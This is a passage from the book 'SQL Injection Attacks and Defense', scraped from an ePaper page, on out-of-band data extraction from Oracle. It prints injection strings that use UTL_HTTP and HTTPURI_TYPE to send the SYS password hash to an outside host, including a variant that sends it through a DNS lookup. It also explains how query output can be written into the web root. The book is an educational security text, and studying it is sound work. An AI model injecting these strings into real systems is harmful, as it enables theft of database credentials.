28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

HTTP/DNS<br />

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 203<br />

Oracle also offers two possibilities for performing HTTP requests: UTL_HTTP <strong>and</strong><br />

HTTPURI_TYPE. The UTL_HTTP package <strong>and</strong> the HTTPURI_TYPE object type<br />

are granted to the public role by default <strong>and</strong> can be executed by any user in the database<br />

as well as via <strong>SQL</strong> injection.<br />

To send, for example, the password hash of the SYS user to a remote system, you can<br />

inject the following string:<br />

Or 1=utl_http.request ('http://www.orasploit.com/'||<br />

(select password from dba_users where rownum=1)) --<br />

or via the HTTPURI_TYPE object type as follows:<br />

or 1=HTTPURI_TYPE( 'http://www.orasploit.com/'||<br />

(select password from dba_users where rownum=1) ).getclob() --<br />

Additionally, if the <strong>SQL</strong> query is written inside the URL, the data (maximum 64 bytes)<br />

can also be sent via the domain name system (DNS) lookup that is made to an external site<br />

as follows. (We discuss this technique in more detail in Chapter 5.)<br />

or 1= utl_http.request ('http://www.'||(select password from dba_users where<br />

rownum=1)||'.orasploit.com/' )--<br />

File System<br />

Sometimes the Web server <strong>and</strong> the database server happen to reside on the same box.<br />

This is a common case when the Web application has a limited number of users <strong>and</strong>/or<br />

it uses a limited amount of data. In such cases, it might not be very cost-effective to split<br />

the architecture into multiple tiers. Although such a choice is obviously very attractive for<br />

an organization that tries to minimize expenses, it has a number of security drawbacks,<br />

most notably the fact that a single flaw can be enough for an attacker to obtain full control<br />

over all the components.<br />

In case an <strong>SQL</strong> injection flaw is discovered, such a setup allows an easy <strong>and</strong> convenient<br />

way to extract information from the database server: If the attacker has enough privileges to<br />

write on the file system, he can redirect the results of a query to a file inside the Web server<br />

root, <strong>and</strong> then normally access the file with the browser.<br />

If the database server <strong>and</strong> the Web server are on separate machines, it might still be<br />

possible to adopt this technique if the Web server is configured to export the folders that<br />

contain the Web site, <strong>and</strong> the database server is authorized to write on them.<br />

Note that additional information on interacting with the file system is available in<br />

Chapter 6.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!